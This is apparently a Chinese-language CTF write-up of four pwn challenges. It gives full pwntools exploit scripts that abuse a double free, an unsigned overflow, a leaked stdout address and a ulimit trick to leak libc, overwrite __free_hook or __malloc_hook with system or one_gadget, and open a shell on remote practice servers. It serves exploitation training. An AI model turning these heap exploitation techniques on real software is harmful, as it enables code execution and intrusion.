目錄
ciscn_2019_n_2(double free)
delete的時候有一個double free漏洞
利用思路:
先用一個double free把0x602060(chunklist)申請出來,這樣我們就能先修改裏面的指針了,先利用GOT表泄露libc,然後寫入__free_hook的地址並使用編輯寫入system地址就行
Exp:
from pwn import *
menu = "Your choice: "
def add(content, age):
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("name:")
r.send(content)
r.recvuntil("age:")
r.sendline(str(age))
def delete(index):
r.recvuntil(menu)
r.sendline('2')
r.recvuntil("Index:")
r.sendline(str(index))
def show(index):
r.recvuntil(menu)
r.sendline('4')
r.recvuntil("Index:")
r.sendline(str(index))
def edit(index, content, age):
r.recvuntil(menu)
r.sendline('3')
r.recvuntil("Index:")
r.sendline(str(index))
r.recvuntil("name:")
r.send(content)
r.recvuntil("age:")
r.sendline(str(age))
def add_money(index):
r.recvuntil(menu)
r.sendline('5')
r.recvuntil("Index:")
r.sendline(str(index))
def buy(index, addr, size):
r.recvuntil(menu)
r.sendline('6')
r.recvuntil("Index:")
r.sendline(str(index))
r.recvuntil("input the address you want to leak:")
r.sendline(hex(addr))
r.recvuntil("input the size you want to leak:")
r.sendline(str(size))
r.recvuntil("data:[[[")
addr = u64(r.recv(size).ljust(8, '\x00'))
return addr
r = remote("node3.buuoj.cn", 28876)
#r = process("./ciscn_2019_n_2")
context.log_level = 'debug'
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *0x40106D
x/10gx 0x602060
c
''')
elf = ELF("./ciscn_2019_n_2")
libc = ELF("./libc/libc-2.27.so")
bss_list = 0x602060
free_got = elf.got['free']
add('KMFL\n', 1)
delete(0)
delete(0)
add(p64(bss_list), 10)
add(p64(bss_list), 10)
add(p64(free_got), 10)
add_money(2)
show(0)
r.recvuntil('name: ')
libc.address = u64(r.recvn(6) + '\x00' * 2) - libc.symbols['free']
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
bin_sh = libc.search('/bin/sh').next()
success("libc:"+hex(libc.address))
edit(2, p64(free_hook), bin_sh)
edit(0, p64(system), 10)
delete(1)
r.interactive()
ciscn_2019_sw_7(強制轉換溢出)
在my_read中有一個溢出,i是unsigned,a2是signed,計算時會強制轉換爲unsigned,如a2爲0,減一之後就變爲一個很大的無符號數
read的時候進行了偏移,導致我們不能直接修改fd
利用思路:
- 申請這麼幾個
add(0, 'chunk0')
add(0x60, 'chunk1')
add(0, 'chunk2')
add(0x60, 'chunk3')
add(0x60, 'chunk4')
- 把4,3,2都刪除了,然後刪除0,利用add(0)和partial rewrite把chunk1的fd改爲heap_base+8,(這裏要爆破一個16進制位,因爲最後四位我們只能寫成0x0008)
- add(0x60)申請到tcache控制結構,然後把0x100大小chunk的num置爲7,0x20, 0x30和0x70置爲0
- 刪除0,再利用add(0)把chunk1的size改爲0x71+0x20+0x70,然後刪除chunk1,讓他進入unsorted bin
- add(0x60),然後show2就能泄露libc,再刪除chunk3,add(0x50)來把chunk3的fd改爲
__malloc_hook-8
,寫入one_gadget來get shell
Exp:
from pwn import *
#r = remote("node3.buuoj.cn", 27292)
#r = process("./ciscn_2019_sw_7")
context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *$rebase(0xE7E)
x/30gx $rebase(0x202040)
c
''')
elf = ELF("./ciscn_2019_sw_7")
libc = ELF('./libc/libc-2.27.so')
one_gadget_18 = [0x4f2c5,0x4f322,0x10a38c]
menu = "> "
def add(size, content):
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("The size of note:")
r.sendline(str(size))
r.recvuntil("The content of note:")
r.sendline(content)
def delete(index):
r.recvuntil(menu)
r.sendline('4')
r.recvuntil("Index:")
r.sendline(str(index))
def show(index):
r.recvuntil(menu)
r.sendline('2')
r.recvuntil("Index:")
r.sendline(str(index))
def pwn():
add(0, 'chunk0')
add(0x60, 'chunk1')
add(0, 'chunk2')
add(0x60, 'chunk3')
add(0x60, 'chunk4')
delete(4)
delete(3)
delete(2)
payload = 'a'*8 + p64(0) + p64(0x71) + p8(8)
add(0, payload)#2
add(0x60, '/bin/sh')#3
add(0x60, p64(0x0707000007070000)+p64(0x0707070707070707))#4
delete(0)
payload = 'a'*8 + p64(0) + p64(0x71+0x20+0x70)
add(0, payload)#0
delete(1)
add(0x20, 'a')#1
add(0x30, 'a')#5
show(2)
r.recvuntil(" : ")
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0x60 - 0x10
libc.address = malloc_hook - libc.sym['__malloc_hook']
success("libc:"+hex(libc.address))
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
one_gadget = one_gadget_18[2] + libc.address
delete(3)
payload = 'a'*0x10 + p64(0x71) + p64(malloc_hook-8)
add(0x50, payload)#3
add(0x60, '/bin/sh')#6
add(0x60, p64(one_gadget))#7
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("The size of note:")
r.sendline('10')
r.interactive()
if __name__ == "__main__":
while True:
r = remote("node3.buuoj.cn", 28119)
try:
pwn()
except:
r.close()
pwnable.kr_exploitable(_bss_start泄露_IO_2_1_stdout_地址)
程序邏輯很簡單,先給你_IO_2_1_stdout_
的地址,然後你給一個地址它去執行,自然想到one_gadget
Exp:
from pwn import *
r = remote("node3.buuoj.cn", 26497)
#r = process("pwnable_kr_exploitable")
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *0x08048583
c
''')
elf = ELF("pwnable_kr_exploitable")
libc = ELF('./libc/libc-2.23_32.so')
one_gadget_16_32 = [0x3a80c, 0x3a80e, 0x3a812, 0x3a819, 0x5f065, 0x5f066]
addr = u32(r.recv(4))
success("recv:"+hex(addr))
libc.address = addr - libc.sym['_IO_2_1_stdout_']
one_gadget = libc.address + one_gadget_16_32[0]
r.sendline(str(one_gadget-0xffffffff-1))
r.interactive()
pwnable_otp(ulimit命令)
這題比較神奇
本題會創建一個名字隨機的文件,並且寫入8比特的隨機內容,之後把內容與輸入比較,相同才能得到flag
這題需要利用到ulimit -f的指令,它會限制能夠創建文件的最大大小,如果設爲0就無法創建成功,而本題沒有相關檢查
Exp:
from pwn import *
s = ssh(host='node3.buuoj.cn',user='otp',password='guest',port=27061)
s.interactive()
'''a.py
import subprocess
subprocess.Popen(['/home/otp/otp', ''], stderr=subprocess.STDOUT)
'''
#ulimit -f 0